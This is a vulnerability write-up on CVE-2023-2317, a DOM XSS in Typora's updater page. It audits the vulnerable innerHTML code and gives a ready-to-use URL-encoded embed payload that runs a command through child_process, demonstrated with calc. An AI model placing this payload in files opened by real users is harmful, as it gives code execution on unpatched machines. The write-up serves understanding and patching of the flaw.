CVE-2023-2317
1 CVE-2023-2317
DOM-based XSS in updater/update.html in Typora before 1.6.7 on Windows and Linux allows a crafted markdown file to run arbitrary JavaScript code in the context of Typora main window via loading typora://app/typemark/updater/update.html in tag. This vulnerability can be exploited if a user opens a malicious markdown file in Typora, or copies text from a malicious webpage and paste it into Typora.
By way of conclusion, it’s an XSS attack.
2 Code Audit
<script type="text/javascript">
var curVersion = /[?&]curVersion=([^&]+)/.exec(window.location.search)[1];
var newVersion = /[?&]newVersion=([^&]+)/.exec(window.location.search)[1];
var releaseNoteLink = decodeURIComponent(/[?&]releaseNoteLink=([^&]+)/.exec(window.location.search)[1]);
var hideAutoUpdates = /[?&]hideAutoUpdates=([^&]+)/.exec(window.location.search)[1] == "true";
var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1]));
document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);
document.querySelectorAll("[data-label]").forEach(function(dom){
dom.innerHTML = labels[dom.getAttribute("data-label") - 0];
});
document.querySelector("#release-panel").src = releaseNoteLink;
var autoUpdateInput = document.querySelector("#preference-enable-auto-update")
autoUpdateInput.checked = !!isAutoUpdateEnabled;
autoUpdateInput.onchange = toggleAutoUpdate;
if(hideAutoUpdates) {
document.querySelector("#preference-enable-auto-update-wrapper").style.display = "none";
document.querySelector("#skip-this-version-btn-group").style.display = "none";
}
</script>
The code is found in Typora\resources\updater\updater.html
. Let’s conduct a thorough analysis of its purpose.
Firstly, the code attempts to retrieve five parameters from the URL: curVersion
, newVersion
, releaseNoteLink
, hideAutoUpdates
, and labels
. It uses regular expressions to match these parameters based on their names.
var curVersion = /[?&]curVersion=([^&]+)/.exec(window.location.search)[1];
var newVersion = /[?&]newVersion=([^&]+)/.exec(window.location.search)[1];
var releaseNoteLink = decodeURIComponent(/[?&]releaseNoteLink=([^&]+)/.exec(window.location.search)[1]);
var hideAutoUpdates = /[?&]hideAutoUpdates=([^&]+)/.exec(window.location.search)[1] == "true";
var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1]));
Next, it selects DOM elements by their IDs, attributes, or element types and updates their content.
document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);
document.querySelectorAll("[data-label]").forEach(function(dom){
dom.innerHTML = labels[dom.getAttribute("data-label") - 0];
});
document.querySelector("#release-panel").src = releaseNoteLink;
Here lies a security issue: the code uses dom.innerHTML
to refresh the content of DOM elements with the data-label
attribute. This approach introduces a potential security vulnerability as it allows for the injection of arbitrary HTML and potentially malicious code into the page, leading to XSS and even RCE.
document.querySelectorAll("[data-label]").forEach(function(dom){
dom.innerHTML = labels[dom.getAttribute("data-label") - 0];
});
Let’s take a look about the whole code again:
<script type="text/javascript">
// get params from URL
// 5 params parsed:
// curVersion newVersion releaseNoteLink hideAutoUpdates labels
var curVersion = /[?&]curVersion=([^&]+)/.exec(window.location.search)[1];
var newVersion = /[?&]newVersion=([^&]+)/.exec(window.location.search)[1];
var releaseNoteLink = decodeURIComponent(/[?&]releaseNoteLink=([^&]+)/.exec(window.location.search)[1]);
var hideAutoUpdates = /[?&]hideAutoUpdates=([^&]+)/.exec(window.location.search)[1] == "true";
var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1]));
// refresh DOM with labels which id = sum, XSS!
document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);
// refresh DOM with labels whose attributes include data-label
document.querySelectorAll("[data-label]").forEach(function(dom){
// replace innerHTML with elements in labels,
dom.innerHTML = labels[dom.getAttribute("data-label") - 0];
});
// refresh DOM with labels which id = release-panel
document.querySelector("#release-panel").src = releaseNoteLink;
var autoUpdateInput = document.querySelector("#preference-enable-auto-update")
autoUpdateInput.checked = !!isAutoUpdateEnabled;
autoUpdateInput.onchange = toggleAutoUpdate;
if(hideAutoUpdates) {
document.querySelector("#preference-enable-auto-update-wrapper").style.display = "none";
document.querySelector("#skip-this-version-btn-group").style.display = "none";
}
</script>
3 typora
Protocol
The typora
protocol is defined within Typora to access internal files and resources. For instance, you can use typora://app/typemark/updater/updater.html
to access the updater.html
file.
4 Exploitation
The payload is based on reqnode()
, which is the implementation of require()
in Typora:
reqnode('child_process').exec("calc")
Further payload can be constructed as follows:
<embed src="typora://app/typemark/updater/updater.html?curVersion=POC&newVersion=Of&releaseNoteLink=Typora&hideAutoUpdates=false&labels=["","<svg/onload=top.eval(`reqnode('child_process').exec('calc')`)></svg>","","","",""]">
In this payload:
curVersion
,newVersion
,releaseNoteLink
, andhideAutoUpdates
parameters are set to arbitrary values.- The
labels
parameter contains an array with an element that includes a crafted SVG payload within a<svg>
element.
The payload takes advantage of the fact that the content of elements with the data-label
attribute is directly assigned to dom.innerHTML
, allowing for script execution. To exploit this vulnerability, an attacker can create a Markdown file with the above payload and open it in Typora.
Oh, don’t forget to Encode releaseNoteLink
and labels
with URL encode. So the final payload looks like this:
<embed src="typora://app/typemark/updater/updater.html?curVersion=POC&newVersion=Of&releaseNoteLink=Typora&hideAutoUpdates=false&labels=%5B%22%22%2C%22%3Csvg%2Fonload%3Dtop%2Eeval%28%60reqnode%28%27child%5Fprocess%27%29%2Eexec%28%27calc%27%29%60%29%3E%3C%2Fsvg%3E%22%2C%22%22%2C%22%22%2C%22%22%2C%22%22%5D">
Copy it into a markdown file, and open it with Typora whose version is affected by CVE-2023-2317. (Or simply manually modify update.html
by changing innerText
into innerHTML
.) When the Markdown file is rendered, the payload will execute, and pop out the calculator.
5 References
[1] CVE-2023-2317 https://nvd.nist.gov/vuln/detail/CVE-2023-2317